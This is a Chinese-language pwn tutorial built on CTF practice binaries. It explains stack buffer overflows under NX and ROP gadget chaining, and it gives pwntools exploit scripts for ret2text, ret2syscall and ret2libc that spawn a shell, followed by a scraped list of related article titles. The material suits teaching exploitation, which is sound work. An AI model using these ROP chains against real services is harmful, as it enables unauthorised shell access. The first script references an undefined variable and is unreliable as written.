最近在复习pwn的一些知识。主要涉及到当堆栈开启了保护的时候,我们不能够直接将shellcode覆盖到堆栈中执行,而需要利用程序其他部分的可执行的小片段来连接成最终的shellcode。此小片段就是gadgets。本文主要通过练习题的方式讲述如何寻找gadgets,如何利用现有的工具来加速自己的pwn的效率。Gadgets的类型和难度也逐步变化。下面带来手把手教你linux pwn。让你的pwn技术从入门到熟练。练习题的难度逐步加大。

第一关

第一关的gadgets较为简单,包含了一个直接可以利用的,可返回shell的函数。我们只要计算好覆盖的偏移,将可返回shell函数的地址覆盖到相应的位置即可以。程序下载:Pwn1

我们首先来查看一下该程序的保护情况,发现开启了堆栈保护。即NX enabled。且是32bit的程序。因此需要在32位的linux环境下测试。

这里涉及到一个工具,chechsec。该工具专门用来检测程序中受保护的情况,我们可以根据程序受保护的情况来选择对应的pwn策略。

下载以后,直接在命令行中建立符号链接就可以在terminal中直接使用了

sudo ln –sf checksec /usr/bin/checksec

接下来我们利用IDA查看一下程序的源代码:

可以发现漏洞出现在gets里面,gets函数存在缓冲区溢出漏洞,我们可以通过超长的字符串来覆盖缓冲区,从而修改ROP。为了达到这个目的,我们需要首先计算,输入的&s的堆栈地址位置距离堆栈的底部ebp的位置。Ebp的下一个地址,就是记录了返回地址的位置。在32位的程序中,就是ebp+4。其中,Esp是栈顶指针,ebp是栈底指针。Esp -> ebp, 地址从小到大。小地址栈顶,大地址栈底。

我们有两种方法可以得到s距离返回地址的偏移:徒手计算和利用patternoffset产生字符串。

首先第一种方法,徒手计算。我们利用gdb的辅助工具gef来辅助查看esp地址。

注意,这里需要按照这个辅助工具,gef,该工具会提供更加丰富的调试信息。包括堆栈信息,寄存器信息等。按照完毕之后,使用gdb –q *.elf执行就可以。

启动的程序之后,我们在上述get函数的位置下断点,即0x080486AE

可以看到 esp 为 0xbfffeed0,ebp为0xbfffef58,同时 s 相对于 esp 的索引为[esp+80h-64h]= [esp+0x1c]。所以s的地址为 0xbfffeeec,所以 s 相对于 ebp 的偏移为 0x6C(108),所以相对于返回地址的偏移为 0x6c+4(112)。

另外一种方法是利用patternoffset执行来计算。借助到这个工具patternoffset。下载下来直接作为python脚本使用。利用下面的命令产生字符串到test的文件中:

python patternLocOffset.py -c -l 700 -f test

接着远程IDA挂载调试,在程序的返回位置下断点,即retn的位置。

它会在远程的服务器端等待我的输入

~/ $ ./linux_server

IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017

Listening on 0.0.0.0:23946...

=========================================================

[1] Accepting connection from 192.168.110.1...

There is something amazing here, do you know anything?

在这个位置,我就把产生的pattern计算字符串复制进去。(注意,如果这里始终没有让程序停下来让你输入对应的字符串进去的话,就断开ubuntu的server,然后重新连接一下,就会停下来等待我们的字符串输入)

接着,查看程序覆盖的寄存器ebp的内容为0x41366441

再利用offset的脚本计算一下输入的缓冲区地址距离ESP相差多少的字节,相差的是108个字节。ESP之后,存储的就是返回的地址,所以要加上108+4=112字节的偏移。

得到的结果和上面是一致的。

接下来,我们需要找到可以利用的系统调用函数。在IDA中搜索(alt+T)可以利用来的系统sh调用函数:

最后,将需要覆盖的地址0x0804863A填入指定的位置覆盖,在利用pwntools来验证攻击。这里利用到了一个pwntools工具。推荐使用基于源代码的安装方式,可以更为方便。

安装方式为:

cd ~

git clone https://github.com/aquynh/capstone

cd capstone

make

make install

cd ~

git clone https://github.com/Gallopsled/pwntools

cd pwntools

python setup.py install

验证:

>>> import pwn

[!] Pwntools does not support 32-bit Python. Use a 64-bit release.

>>> pwn.asm("xor eax, eax")

'1xc0'

使用下面的脚本来验证攻击:

from pwn import *

pwn1 = process('./pwn1')

sh = 0x804863a

pwn1.sendline('A' * (112) + p32(target))

pwn1.interactive()

第二关

在这一关中,没有可以直接利用的system()函数让我们直接调用了。我们可以学习使用系统调用来进行操作。系统调用的背景知识在这里。

Syscall的函数调用规范为: execve(“/bin/sh”, 0,0);

它对应的汇编代码为:

pop eax, # 系统调用号载入, execve为0xb

pop ebx, # 第一个参数, /bin/sh的string

pop ecx, # 第二个参数,0

pop edx, # 第三个参数,0

int 0x80, # 执行系统调用

同样的,首先利用工具来查看程序保护情况:

查看程序的代码,发现同样是gets造成的函数溢出。

因此我们这里需要人为的构造了。这里需要用到一个工具,来查到能够控制eax,ebx,ecx,edx。就是ROPgadget。下载之后,直接安装

python setup.py install

就可以使用了。执行命令,来查找对一个的汇编指令:

ROPgadget --binary ret2syscall --only 'pop|ret' | grep "eax"

其中—binary 表示目标二进制的路径,—only 表示只显示指定的汇编语句, grep可以展示想要的寄存器。

针对eax选择,0x080bb196 : pop eax ; ret

针对ebx和ecx选择,0x0806eb91 : pop ecx ; pop ebx ; ret

针对edx,选择,0x0806eb6a : pop edx ; ret

执行命令,筛选int 0x80的系统调用, 选择:0x08049421

ROPgadget --binary ret2syscall --only 'int'

执行命令,筛选字符串,得到:0x080be408

ROPgadget --binary ret2syscall --string '/bin/sh'

这里选择的每一个gadgets都含有ret是为了能够使得程序自动持续的选择堆栈中的指令依次执行。在构造这些gadgets之前,我们通过下面的堆栈指针移动图,来分析一下eip指针的移动,以及对应获取的数据内容。ret指令可以理解成去栈顶的数据作为下次跳转的位置。即,

eip = [esp];

esp = esp+4;

或者简单理解成: pop eip;

上图中,左边显示的堆栈的内容,右边是对应的代码。数字表示的是,运行到特定的汇编指令的时候,esp指针的位置。总结下来,我们通过pop指令来移动esp指针获取数据,比如字符串/bin/sh,我们通过ret指令来同样移动esp指针来获取下一条执行的命令。这样,我们就能够在不需要与堆栈中执行程序的情况下,顺利的控制程序控制流的执行。

最终形成的shellcode利用pwntools的代码为:

#!/usr/bin/env python

from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196

pop_ecx_ebx_ret = 0x0806eb91

pop_edx_ret = 0x0806eb6a

int_0x80 = 0x08049421

binsh = 0x80be408

payload = flat(

['A' * 112, pop_eax_ret, 0xb, pop_ecx_ebx_ret, 0,binsh, pop_edx_ret,0, int_0x80])

sh.sendline(payload)

sh.interactive()

第三关

这一关中,我们主要通过导入函数里面的system(“/bin/sh”)函数来完成调用。

发现它的保护也是类似的。该程序与之前类似,都是在gets函数存在漏洞。

首先查找system函数是否存在,利用IDA查看。

查看导入函数表,发现有system的外部调用函数在列表里面,

从而确定地址为0x08048460。

在利用下面的命令查找”/bin/sh”的字符串,确定了字符串的地址为0x08048720

ROPgadget --binary ret2libc1 --string "/bin/sh"

那么就可以依葫芦画瓢的构造shellcode了。

#!/usr/bin/env python

from pwn import *

sh = process('./ret2libc1')

system_plt = 0x08048460

sh_addr = 0x8048720

payload = flat(['a' * 112, system_plt, 0xabcdabcd, sh_addr])

sh.sendline(payload)

sh.interactive()

这里解释一下,为什么会有4个字节空余的部分。

这里的部分,在正常调用system函数的时候,堆栈位置的system_plt之后的内容为system函数的返回地址,在之后才是新的堆栈的栈顶位置,因此在system_plt和sh_addr之间增加了4个字符来进行填充。

练习题:pwn4

下面留下一道题大家自己练习,该题目中,含有导入函数system(),但是没有了字符串/bin/sh,需要自己想办法获取这个字符串。

Linux pwn入门教程,Linux PWN从入门到熟练相关推荐

  1. Linux pwn入门教程,i春秋linux_pwn入门教程复现之栈溢出基础

    i春秋linux_pwn入门教程复现之栈溢出基础 演示进程总览 1: main函数 2: hello函数 3: getShell函数 函数的入栈和出栈 1: F2断点于call hello 启动IDA ...

  2. linux c++编程教程,Linux下的C++编程入门教程.ppt

    <Linux下的C++编程入门教程.ppt>由会员分享,可在线阅读,更多相关<Linux下的C++编程入门教程.ppt(14页珍藏版)>请在人人文库网上搜索. 1.Linux下 ...

  3. linux下的c 编程入门教程,Linux下的C编程入门教程.ppt

    <Linux下的C编程入门教程.ppt>由会员分享,可在线阅读,更多相关<Linux下的C编程入门教程.ppt(14页珍藏版)>请在装配图网上搜索. 1.Linux下c+编程, ...

  4. php laravel 入门教程,Laravel 5 系列入门教程(一)【最适合中国人的 Laravel 教程】...

    Laravel 5 系列入门教程(一)[最适合中国人的 Laravel 教程] 2015-3-7 / 阅读数:314392 / 分类: Laravel 十分建议学习 5.5,跟 5.0 比变化非常大. ...

  5. python入门教程 官方-Python自学入门?

    如果你是零基础入门 Python 的话,建议初学者至少达到两个目标: 会用,理解. 会用 通过 Python 入门教程,学习 Python 的语法,熟悉 Python 标准库的使用. 目前 Pytho ...

  6. python语言入门教程-菜鸟学Python入门教程大盘点|7个多月的心血总结

    原标题:菜鸟学Python入门教程大盘点|7个多月的心血总结 阅读本文大概需要5分钟 菜鸟学python已经写了70几篇,入门的教程已经快写完了,我把入门的文章整理了一下,下面是入门篇的一些总结,也是 ...

  7. c语言入门教程文库,C语言入门教程(全集)课件

    C语言入门教程(全集)课件 01123364105 Y N p AB X=0? YN P1 A A P2 a a b b Y Y N N y n A B P A A B X=0? 3 a97 3 U ...

  8. linux eth0 目录,教程 | Linux常用命令大全

    原标题:教程 | Linux常用命令大全 来源:Linux爱好者 ID:LinuxHub Linux常用命令 目录操作命令 ls 命令名称:ls 命令英文原意:list 命令所在路径:/bin/ls ...

  9. 【MATLAB Image Processing Toolbox 入门教程三】快速入门之“在多光谱图像中寻找植被”

    [MATLAB Image Processing Toolbox 入门教程三] 本篇摘要 一.从多光谱图像文件导入彩色红外通道 二.构建近红外光谱散射图 三.计算植被系数并显示其定位 四.综合实例部分 ...

  10. python新手入门教程思路-Python新手入门教程_教你怎么用Python做数据分析

    Python新手入门教程_教你怎么用Python做数据分析 跟大家讲了这么多期的Python教程,有小伙伴在学Python新手教程的时候说学Python比较复杂的地方就是资料太多了,比较复杂.很多网上 ...

最新文章

  1. 【深度学习】Swin-Unet图像分割网络解析(文末提供剪枝仓库)
  2. Qt Creator使用语言服务器
  3. Android下EditText中的字体不统一问题
  4. 校省选赛第一场A题Cinema题解
  5. 清华竟然开设:《摸鱼学导论》,这门课火了!
  6. [SQL Server]关于15517号错误的一点想法
  7. mysql bitmap实现_[MySQL] mysql中bitmap的简单运用
  8. python中jieba库安装中出现pip库需要更新怎么办_python安装jieba库
  9. 认识即时通讯开发通信协议之MQTT
  10. outlook2016服务器设置不能修改,求助,outlook2016签名也无法编辑和修改,请工程师解决...
  11. CSS3 图片旋转特效
  12. trc20地址监听php,Tron/USDT-TRC20 PHP开发包
  13. 企鹅形象与Linux[图]
  14. linux常用技巧(一):后台下载
  15. 分组统计group by
  16. Winform框架中内容的学习
  17. Tencent_机器翻译_文本翻译
  18. Centos搭建Socks5教程(无用户密码版)
  19. 网银支付接口申请介绍
  20. Linux解压rar压缩文件,rar unrar

热门文章

  1. arduino u8g2 中文字 utf-8 死活不显示 问题 的解决
  2. 开课吧 python课视频_开课吧人工智能时代的新起跑线python爬虫小课vip
  3. UITableView在iOS15中显示混乱的问题
  4. iOS微信分享服务器设置,ios微信分享设置title怎么弄?
  5. 心动C++情牵汉洛塔
  6. 什么是UI(UI百科)
  7. android 侧滑删除方法,Android 基于RecyclerView的Item侧滑删除
  8. 头戴式蓝牙耳机,出现左耳没有声音,右耳正常。
  9. 2020数学建模国赛A题思路与代码(全)
  10. 程序员 谨防猝死